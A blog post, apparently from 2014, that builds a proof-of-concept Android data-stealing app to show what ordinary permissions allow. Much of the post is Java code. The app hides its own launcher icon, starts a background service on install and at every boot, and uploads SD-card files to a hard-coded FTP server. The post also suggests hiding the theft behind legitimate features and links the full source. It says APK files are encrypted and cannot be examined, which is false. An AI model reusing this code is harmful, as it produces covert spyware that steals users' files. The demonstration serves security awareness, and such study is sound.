Tags

,

I’ve been brushing up on Android application programming lately in my free time, and I wanted to see how easy it was to reproduce some of the techniques I’ve seen in previous Android malware.

In just a few lines of code, an application can hide itself and harvest data from the device’s external SD card.  There is not really a vulnerability here to be discussed, but I believe it is important to understand what simple permissions are capable of.

Previously (< 3.1 ), Android allowed a Service to be started without a main activity.  A service is simply something that runs in the background and has no user interface and requires no user interaction; it is invisible to the user.   A main activity is what is started when the user selects your application from the launcher.  So before Android 3.1, developers were allowed to create and start a service upon installation, with a trigger (i.e. on phone boot, receive SMS, etc. ) without any user activity.

Thankfully, this was fixed in 3.1.  Users are now required to launch a main activity at least one time from the launcher before any service can run (and then the service can be opened via events).  The code below demonstrates the following sequence of events:

Upon install:

  1. Main Activity is opened for the first time
  2. Main Activity removes itself from the launcher (user can no longer find it as an application there)
  3. Scraping Service is started that reads from the SD card and transfers a file from there to an FTP server

Upon phone boot (after installation):

  1. Broadcast receiver listens for the BOOT_COMPLETED event
  2. Broadcast receiver starts the scraping service

The below code snippet is in the Main Activity’s onCreate().  When the activity is created, it automatically destroys itself from the launcher, but keeps the service running in the background.  This is a technique that I’ve seen used in the few  Android malwares that I have examined.


 //This snippet destroys the Icon from the launcher, this is done when the activity is opened
 ///src http://www.helloandroid.com/tutorials/removing-app-icon-launcher
 ComponentName componentToDisable =
 new ComponentName("com.example.android_fourgoats_scraper",
 "com.example.android_sd_scraper.MainActivity");

 getPackageManager().setComponentEnabledSetting(
 componentToDisable,
 PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
 PackageManager.DONT_KILL_APP);

We then want to go ahead and start the service for the first time:


        //Next we want to start the service for the first time
        Intent i = new Intent(this, scrape_service.class);  

        i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
        this.startService(i);

 

The service component of the application is a bit more interesting.  It establishes a connection to a FTP server (in this example, it is local…) and sends a file from the SD card to it.  In this example, I’m only searching for one file that I know is on the phone.  With just a little more effort, one could zip up an archive of the entire Downloads folder, and FTP that.  I kept it simple to show the concept:

  public void onCreate() {
        Toast.makeText(this, "Scraping your phone...", Toast.LENGTH_LONG).show();
        Log.d(TAG, "onCreate");

       //Must start network activity in a new thread
        new Thread() {
        	@Override
        public void run() {

        FTPClient client = new FTPClient();
        FileInputStream fis = null;

        //Try to connect to the FTP server
        try {
            client.connect("1.1.1.106"); //hard coded address to the FTP...for examples sake
            client.login("admin", ""); //credentials for FTP

            //Try finding the file
            try{

            //File stream with the mlogo2x_3.png file
            FileInputStream fileToGet = new FileInputStream(Environment.getExternalStorageDirectory().getAbsolutePath()+"/download/mlogo2x_3.png");

            //For the FTP library, we will need to specify the file type as BINARY_FILE_TYPE
            client.setFileType(FTPClient.BINARY_FILE_TYPE);

            //Testing statements for LogCat
            Log.d(TAG, "FILE FOUND: "+ Environment.getExternalStorageDirectory().getAbsolutePath()+"/download/mlogo2x_3.png");

            //Store the file on the FTP server
            client.storeFile("mlogo2x_3.png", fileToGet);

            }

            catch(FileNotFoundException e){
                Log.d(TAG,"File not found");

            }

            //Logout of the FTP server when done
            client.logout();

        } catch (IOException e) {
            e.printStackTrace();
        }

        	}

        }
    .start();

    }

 

 

The BroadCastReceiver component listens for the phone too boot up, and starts the scraping service, and is a pretty small class:

//This class tells the app what to do when the phone is booted up
public class BootUpReceiver extends BroadcastReceiver{

        @Override
        public void onReceive(final Context context, Intent intent) {

          		   Log.i("Autostart", "started");

       	        Toast.makeText(context, "Boot receiver...", Toast.LENGTH_LONG).show();
                //Below starts the scrape_service service
               Intent i = new Intent(context, scrape_service.class);  

               i.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
               context.startService(i);

}
}

 

Now take a look at the behavior:

 

Before installing, the sdcard/download/ directory looks like this, with mlogo2x_3.png inside:

2014-04-10 00.46.38

 

 

Upon installation, we are prompted with the requested permissions…however, for some reason the READ_EXTERNAL_STORAGE that I requested and use doesn’t show up here.

2014-04-10 00.37.38

 

 

As expected, the application icon is now in the launcher:

2014-04-10 01.01.55

 

 

Opening the application, we get the default layout, and the Toast: “Scraping your phone…” that is called only when the service starts:

2014-04-10 00.40.33

 

Meanwhile…the MainActivity icon has disappeared from our launcher:

2014-04-10 01.02.14

 

 

And my FTP server now has the file:

filezilla

More realistic malware might include some legitimate features that require similar privileges, to hide data theft being done on the side.  For example, a similar application might store its data on the SD card, and therefore requires external access, but also uses this permission to scrape out all files on the SD card.  Because the .APK files are encrypted and cannot be examined unless released, a victim might never know what is being done with the permissions given to the application.

 

The entire demo application code can be found here: https://github.com/ehrenb/Android_SD_Scraper